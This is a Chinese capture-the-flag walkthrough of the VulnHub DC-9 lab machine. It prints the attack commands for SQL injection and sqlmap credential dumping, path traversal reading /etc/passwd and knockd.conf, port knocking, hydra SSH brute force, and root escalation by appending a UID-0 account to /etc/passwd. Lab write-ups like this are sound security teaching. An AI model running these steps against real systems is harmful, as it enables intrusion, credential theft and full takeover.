前情提要
靶场地址:https://www.vulnhub.com/entry/dc-9,412/,DC-9是一个中级的靶场,需要具备以下前置知识:
- 基础的Linux命令及操作
- 基础的渗透测试工具使用(Kali / Parrot下的工具)
二珂说:DC系列的九个靶机就到此结束啦!!!后期会继续更新其他系列的靶机wp~感谢支持
信息收集
nmap -A -sV -p- -T4 192.168.132.156

目前发现只开放80端口,去web页面搜索一下
有一处后台登陆、一处搜索处
在搜索处1' or 1=1#页面返回正常,1' or 1=2#报错,BP抓包发现是POST
输出文件:sql进入kali一把梭
SQLMAP
sqlmap -r sql --dbs --dump
sqlmap -r sql -D users -T UserDetails -C id,username,password --dump


将admin的密码在线MD5解密
密码:transorbital1

文件包含
发现可能存在文件包含
通过文件包含FUZZ测试得
http://192.168.132.156/addrecord.php?file=../../../../etc/passwd
看起来不是特别高危的东西,然后我们去构造字典爆破SSH
将sqlmap跑出来的user、password分别放俩个文件

想到之前扫端口的时候,22端口未被扫出来
可能被隐藏了
百度得知这里靶机使用了
Knockd进行防护,22端口被隐藏了起来我们只要通过顺序敲击端口,防火墙才会打开被隐藏端口
原理简单分析:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
于是可以继续用我们刚刚发现的文件包含漏洞去看看怎么敲击端口,尝试Knockd配置文件的默认路径/etc/knockd.conf,在../../../../etc/knockd.conf找到了配置文件:

apt install knock
knock 192.168.132.156 7469 8475 9842
SSH爆破
然后ssh爆破
hydra -L user.txt -P pass.txt 192.168.132.156 ssh

爆破出来有3个用户可用,其中有个管理员用户,我们选用这个janitor用户登录
ssh janitor@192.168.132.156
ls -al
经过cd目录遍历后发现只有.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是其他用户的密码,然后把这些密码再加进刚刚我们编写的字典中重新再爆破一次看看:

再次ssh爆破
这次扫描出现一个新用户

提权
查看该用户能用sudo执行哪些命令
sudo -l

读取该文件发现是一堆乱码,运行一下
cat /opt/devstuff/dist/test/test
cd /opt/devstuff/dist/test
sudo ./test

find / -name "test.py" 2>/dev/null
cat /opt/devstuff/test.py
#!/usr/bin/python
import sys
# 参数个数需要为3个(一个是运行文件)
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
# 对第一个文件进行读操作
f = open(sys.argv[1], "r")
output = (f.read())
# 对第二个文件进行写(追加)操作,将读出的文件内容写到这个文件中
f = open(sys.argv[2], "a")
f.write(output)
f.close()
这一段代码应该就是test文件的原状,也就是说,我们可以拥有root权限去对文件进行读写操作。这就好办了,参考之前的做法:
往/etc/passwd 写入一个root权限用户,密码为123456

了解一下/etc/passwd内容格式:
root:x:0:0:root:/root:/bin/bash
字段1: 用户名。
字段2:密码占位符,x代表有密码,也可以直接填入密码的密文。
字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。
字段4:用户的gid,也就是所属用户组的id。
字段5:用户信息(弃用)。
字段6:用户家目录。
字段7:用户登陆系统后使用的shell。
echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0::/root:/bin/bash' >> /tmp/test
cat /tmp/test
su test
cd root/
ls
cat theflag.txt
系列最大参考:
水水水的博客